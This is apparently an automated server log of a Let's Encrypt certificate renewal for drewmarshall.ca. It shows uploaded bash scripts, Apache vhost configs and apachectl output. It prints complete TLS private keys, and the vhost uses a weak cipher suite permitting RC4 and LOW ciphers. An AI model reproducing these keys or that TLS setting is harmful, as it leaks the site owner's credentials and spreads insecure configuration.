1KQ5+zebXQS9H5gEvQxGrGCTeW8wY8YAhTylVEDybQGu5Wyc16ai9gsSK3SdaxCr
g36RUaFqpAMsCCD9uhbnSgV86Wlu+tSZomms+cl0k1SXulQ/XrJvSt6S+5dCy3YC
9BPfcnrn0I8tSgb43mUCAwEAAaOCAhowggIWMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUBZ3EhkLHosfXRoS2ySyccsh5OjgwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAWBgNVHREEDzANggtleGp3Lm9yZy51azATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzkwLmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB2AEmcm2neHXzs/Dbe
zYdkprhbrwqHgBnRVVL76esp3fjDAAABmhTOe28AAAQDAEcwRQIhAJGwit2etaOE
N+6uz2LkhIefVF5H2LgYwWPuRiz5mmjCAiAj9YuX3WWNI3b8I+87FEWAedVZChjt
UrQsnk/idULFbQB1AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAAB
mhTOe4MAAAQDAEYwRAIgRKxWGJN382SEqrYz2MRWFluvd+znNtukA+T2BrBMTY8C
IGz9ZxRIconcIPwqfK/rBbjxIaAz7iTrN8YGNDofUWaXMA0GCSqGSIb3DQEBCwUA
A4IBAQBe0sghFGux/IkTSMH6JaFhfgOXlUC/cFe44RV/fa1FF3pQZPFeP/kFqxRj
0JC3AX/6LlJw32uujgQp+IKcEOuGxHY0HLPDd8N6pVZ/govbf+j0xHRmaMpYMrkW
c5pHHlkNhgQSrWPCPzLerhLgt4Tso+FRZ6gAyxOT/bJvwghBYcungPuqEW5srG3C
viGddUPKMsNkvNnPCs7q6Q2KMia7lzjr1HscdpqmOrJEqaSXF5tBC/+a1QA6rVeg
rXR4iiX9juM2K9lPtOb84DSgh7GYhBp6HJJwWr9mKVW5luqWypr2eap+Gkly0I2U
C72+ifkWgAINsVvj9/BZ+Qlt3HPS
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCrST4SQw740Jcc
FinyThzkHWPv2AFL2LmjApqzhYu1L+edKPljdatZjMBasaaFVQH/S9grbSgKDRBq
rc91oSqj+MXD5V7IOT3xYTSCdFuq7zyt18pWssWlaK3ZwVEg+eVP8FyEb63nRdMs
Dg0iGth73FG/PI31zst/4+4Tph6e5ouiakf7SKbaC2RtfCABym0F5tSkOfs3m10E
vR+YBL0MRqxgk3lvMGPGAIU8pVRA8m0BruVsnNemovYLEit0nWsQq4N+kVGhaqQD
LAgg/boW50oFfOlpbvrUmaJprPnJdJNUl7pUP16yb0rekvuXQst2AvQT33J659CP
LUoG+N5lAgMBAAECggEBAKCwzs29IY+lyQ3tcR7Dz3Dmbbo2EElCoi1epRmkQMQT
lBuptAVt//m8BT1QiqNtc7k5QyzCdByx0uPx+b4mG+XG3moAhmIa6ZTJF8UHOnRr
iqag2k9p2ehrAyZVqTHhnxLWsUUBrMlahVlAOWv0eYIB2KMrQRcJEXsCr3i5kOKK
Z/Ty/RtwuoAg3DJcaTSJatPoTy0Mt0eu1JqI4OFLYi2ynnV6laQjxFp/oOrgbiZe
U44J8U0nYFx8JxAKxEdCDFi6rhInNvZ+uCm1GqCBAWFv5JqreG4lZLVwFn7nfp+o
iCbfFhG1DvOzo6ZP8aU28kgX77KOqLOt3OuYboRuJgUCgYEA2LLbWSJzANQuySbq
p1qWHvYaYtDvGBHxluFclzITk8MrUmaIuBOtZTsgY1q5KLOs23Weu8+9CNDi+ftF
fhuv2h2ABFW+XUsWvp9/zV+L1RgxD1mJtH9H6kQ69UddRGnQlgu61t2kyh9+lSro
oRcg5PtJfW4eT0w2ErRnJjGQ3UsCgYEAylnq3lCsFhDflQ/6movarKo8XJ4tDXlj
MFh9+APklKKWM8yC3dfE1FqvL4qrbpbPFcphRFGWLIuCEk29fqi7uCtQV7RWdB6t
I6GqcA2ls02LA2/pnf4imx4gKXjXrpT2AO0dErGP4YVo50JOB+MIFT4JcAImmlOn
UTdZcdrGVQ8CgYEAqoemInD/u6k+4EFl7ClXdioJ/bWaUoDcc/YJnVplGaU/VGso
MGQb0kxDYqykhalP4KyhK/+BLYzk8gCRYXp8WtNYSREI6/YJgh2Wv5HvQtT01rWJ
rqdzeqITG677cLks0seMU0a9Reqe/Nh1lT/UPR6baL/dzl2VOAcMHXxoGh0CgYEA
jqS6S8PEu71jT1o3R/Dk0ykiagvbKI90m6UWD9r2rMy8Y4F8k1RCXYwbyMDRPqEz
FGJZFOcKnRYvOCXzOjFKO3bVKS5ob20ckmypkFoef/pez6p5njWDQaQH+hREvr4l
eNutzfq7ubfpDnUQOsERdqAH2Ry7B7mGzlrdQ8R8YYMCgYANTDlRwOPCKzxVSvqZ
OXbP5G3mXfH3rHSJWYwhBKOLwt2GhnOYuugq/+CkQITFgR+RFPFH4q/Tnsdtk6hl
JAZE2jfBfjpRIuAzmuvtKoSiGgWfox9cWa7uCuVrjuzhtRBwmwM+NBCUphysyYMX
pPcUzS7JlXOo+jdB9KZ2FtL44g==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-10-24 06:01:09: Establishing a connection
2025-10-24 06:01:09: Establishing a connection
2025-10-24 06:01:09: 

PUT: /tmp/pkp392731

#!/bin/bash
if [ -d "/var/www/drewmarshall_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-24 06:01:10: 

chmod 755 /tmp/pkp392731; /tmp/pkp392731; rm /tmp/pkp392731

2025-10-24 06:01:10: 


1


2025-10-24 06:01:11: Establishing a connection
2025-10-24 06:01:11: 

PUT: /tmp/pkp612041

#!/bin/bash
mkdir -p "/var/www/drewmarshall_www/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_www/.well-known/acme-challenge/"
cat > mtE2IdpniXtDkhzXI0Z36pJgw4jDp6AQuqAO13hxovc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
mtE2IdpniXtDkhzXI0Z36pJgw4jDp6AQuqAO13hxovc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 mtE2IdpniXtDkhzXI0Z36pJgw4jDp6AQuqAO13hxovc
cat > yaikksd0fIZUsr1J23UJjBaRm51MZmTqUF7m_gO8qco <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
yaikksd0fIZUsr1J23UJjBaRm51MZmTqUF7m_gO8qco.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 yaikksd0fIZUsr1J23UJjBaRm51MZmTqUF7m_gO8qco


2025-10-24 06:01:11: 

chmod 755 /tmp/pkp612041; /tmp/pkp612041; rm /tmp/pkp612041

2025-10-24 06:01:11: 




2025-10-24 06:01:25: Establishing a connection
2025-10-24 06:01:25: 

PUT: /tmp/pkp979041

#!/bin/bash
mkdir -p "/var/www/drewmarshall_www/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_www/.well-known/acme-challenge/"
rm mtE2IdpniXtDkhzXI0Z36pJgw4jDp6AQuqAO13hxovc
rm yaikksd0fIZUsr1J23UJjBaRm51MZmTqUF7m_gO8qco


2025-10-24 06:01:26: 

chmod 755 /tmp/pkp979041; /tmp/pkp979041; rm /tmp/pkp979041

2025-10-24 06:01:26: 




2025-10-24 06:01:26: Establishing a connection
2025-10-24 06:01:26: 

PUT: /tmp/pkp752089

#!/bin/bash
temp_file=$(mktemp)
TARGET=2c3c17c005831b4a6e867c2d7a99a9f3.crt

cat > $temp_file <<'endmsg'
44:76:16:89:ea:b1:e3:e7:3c:f4:56:f7:21:94:95:b4

-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBaMdlRW3S3+d6EcB4Z/O4NpPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI0MDUwMjU1WhcNMjYwMTIyMDUwMjU0WjAaMRgwFgYDVQQD
Ew9kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDLc2YLgwNPDPGxZPqRZRZ2JnW6GN7ZHMVb5P2lhpE8Y12pr+vWdYZDLIyOE4Zh
G8uIiMUYQXNO3EiPcecotq3rEQLOa4+3e7QgSFmZWqGvTGyhtcvcr3P3p8sc7LaP
Q3yYSvTnaYBnPLD84qhxb8Vv8j6wBF79OLqaoZjMv5pIsHIUe/DKJ8L84nLCjWyp
a9jTXILby/qC/Sz5salImtsns59oMpn13L6cfhazlDW2wRiTO7AF+oaZdl2F7f6/
CAvtWxO0VecpkHiNMHHnAX+Ime8OOaxtbX+8u5C3eWHP5DYw5eHJZ8nyM3LURl3M
hI0BDZYo+GAscx47VO2GDNJlAgMBAAGjggI0MIICMDAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFEIb4F/MyLKaxP5cMXEgHlmLu0xjMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPZHJld21hcnNoYWxsLmNhghN3
d3cuZHJld21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvODAuY3JsMIIBBAYKKwYB
BAHWeQIEAgSB9QSB8gDwAHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGaFM7AFwAABAMASDBGAiEA3KIiQNvqrTCP1p/83S73Fr54WWXW91J4X63O
TKRDHNUCIQCf+wHyusAuK0+C7tn0s9g64WPkUHaBg3DkdxIjlip/kwB1ABmG1Mco
qm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmhTOwBcAAAQDAEYwRAIgKERJ
lsjhqyhQguRz9pPTN/Tiu9cIDwcE9ON/CexQKAsCIDiLllcV2dK2aHQNL4y9O4Ks
GBBL/3IYylDCKOS+hsbpMA0GCSqGSIb3DQEBCwUAA4IBAQCeQroHDrqB5n97+hfg
m9XzDGlrZtPoEyqSYuPU9aS+1OF60VBv7eG0Pg6xcbKYelz8uySF5tlyb0Pfa1g6
yv1RNBIINxIQJaCexm5fe0wo8CZdzn1IydCBhLwwSH1huxQbmmK0lIO4aQM7YHWN
q/2VnKFTRttsTmv3LSKHg9ZjPc8zKbQsQcTwJ2Og8GlCKm6uIa/Loh0MiFAv6oSf
3KMpFPIbbKGKUoWgH5KPonaoFHtiqX22TF4kpvw694G4QyP71oRnITgX8ZSOqsAf
tcYUeJybsT+i7JBzO9E5L3sbHfzeGFXR583mgS2ZO7StrxZkslyBT/qbCVcXfjrv
P9m3
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDLc2YLgwNPDPGx
ZPqRZRZ2JnW6GN7ZHMVb5P2lhpE8Y12pr+vWdYZDLIyOE4ZhG8uIiMUYQXNO3EiP
cecotq3rEQLOa4+3e7QgSFmZWqGvTGyhtcvcr3P3p8sc7LaPQ3yYSvTnaYBnPLD8
4qhxb8Vv8j6wBF79OLqaoZjMv5pIsHIUe/DKJ8L84nLCjWypa9jTXILby/qC/Sz5
salImtsns59oMpn13L6cfhazlDW2wRiTO7AF+oaZdl2F7f6/CAvtWxO0VecpkHiN
MHHnAX+Ime8OOaxtbX+8u5C3eWHP5DYw5eHJZ8nyM3LURl3MhI0BDZYo+GAscx47
VO2GDNJlAgMBAAECggEAHzVLcPae2lBs/r4zpXvxLxyFMI/CF2HPcGI2+l4jBzVi
17WxoosSlllOEjkygtDlrsL0IN1hV7Z4tvBM+jTThtxsJsffGtEx90XB4MFDTgWW
IFQnuml7i4DEqmIxOtaqVR4iZSEM3kk0CQanugbgLWTmcs+o1oUOMswZCUdW3lFU
Rmu93LjokQoxl9+i3qcrSTKlcg2dn0wb53y39Y9vb7anBAPuDvkHcFWCDYNzcfTX
nIt3Kg4tUsHPBxSWyXZovTUlAnF2yb01KF7C+ZYMzJztHyCMmVWXhcbtOKu1Fawh
PVxAZvcChKPxpF+ONvxBn8wXW95dyxofptNtzJTBQQKBgQD7bCc4DempyiGR78rF
O6vmEHU3q8ZDK6htfG5brr1ZVPZAAT+eAQe0nnVBaNB4MOabpGhAhG6fy5elOS0P
Wy13vjqMO9B7lT6AydRCCU9nJUDcSXw7FjoXyxzwua9xpNzE2BVBO4+KeQLbWYIL
y9nJOvIpQLj/p0I459MeW746VQKBgQDPJ6fblcvUV5T8X+7EGFBJISA3llBWRUh+
g0hB582+jbOm5BXyIR0YN9Dm8FNQMOuWCBXUkEGv06wz6PDDB1WYZUTJLlrcvaZp
mkL3wfawMZikC5EQbHWRXbUPSKhoLNTlm5jj51GACUJb7yma8jdkgf7S/2B29/BF
lddoIitn0QKBgQD0bccLJet+2DYezQNTEJokBugOgX80mmMaXhhkJdOL35+vxgb1
M4csP8k7GA1kbBYmRoXcA2QREjuRs65s+XWQrm35G8WqAARN7OngcXCylHMkNoUC
ZK+BpkOyfLNmRqMi8/hl/OOl+dOfMLvPgBVxH0+Cb5vrX85vyGFlaEfeKQKBgDD+
ZAjfKNIT1LzLw6DFT1e8ae47ssx0nmytiA1uUY7b3L1//GDDzCnKKbI07L9ukolt
aBxZ8e8v1O6CDU9TEL92VApw2DSU9iLLxULrsPiDAmLqCWkk/blfvE7dFFdvIvsb
DdH5B6GMjxFHQ0POPaObyzUECUCZ603J3qRWUIXBAoGBAJQ4GxIdwR0Mhkj+ri9j
9WYJdMsHKsBXAIDdP3jNprgLsBJW/9D5a6X79avs6lR7jnl5ik93KksIkgtRlLCW
//a0diF3NhiUOhqAiEOYXknNY6/wAe8LJQaqJcq9iwSVPOeN0FewlUyleZZCHEJ4
Ba+gVv9zOkc1068r7kIgVHAg
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-24 06:01:26: 

chmod 755 /tmp/pkp752089; /tmp/pkp752089; rm /tmp/pkp752089

2025-10-24 06:01:26: 


dir=/etc/ssl/certs


2025-10-24 06:01:26: 

PUT: /tmp/pkp644594

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_www_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-24 06:01:26: 

chmod 755 /tmp/pkp644594; /tmp/pkp644594; rm /tmp/pkp644594

2025-10-24 06:01:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_www_ca.conf 43

<VirtualHost *:80>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-24 06:01:26: 

PUT: /tmp/pkp835775

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_www_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_www_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_www_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_www_ca.conf= 1'
fi


2025-10-24 06:01:26: 

chmod 755 /tmp/pkp835775; /tmp/pkp835775; rm /tmp/pkp835775

2025-10-24 06:01:26: 




2025-10-24 06:01:26: 

PUT: /tmp/pkp647108

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-24 06:01:26: 

chmod 755 /tmp/pkp647108; /tmp/pkp647108; rm /tmp/pkp647108

2025-10-24 06:01:26: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-24 06:01:26: Establishing a connection
2025-10-24 06:01:26: 

PUT: /tmp/pkp717766

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-24 06:01:27: 

chmod 755 /tmp/pkp717766; /tmp/pkp717766; rm /tmp/pkp717766

2025-10-24 06:01:27: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
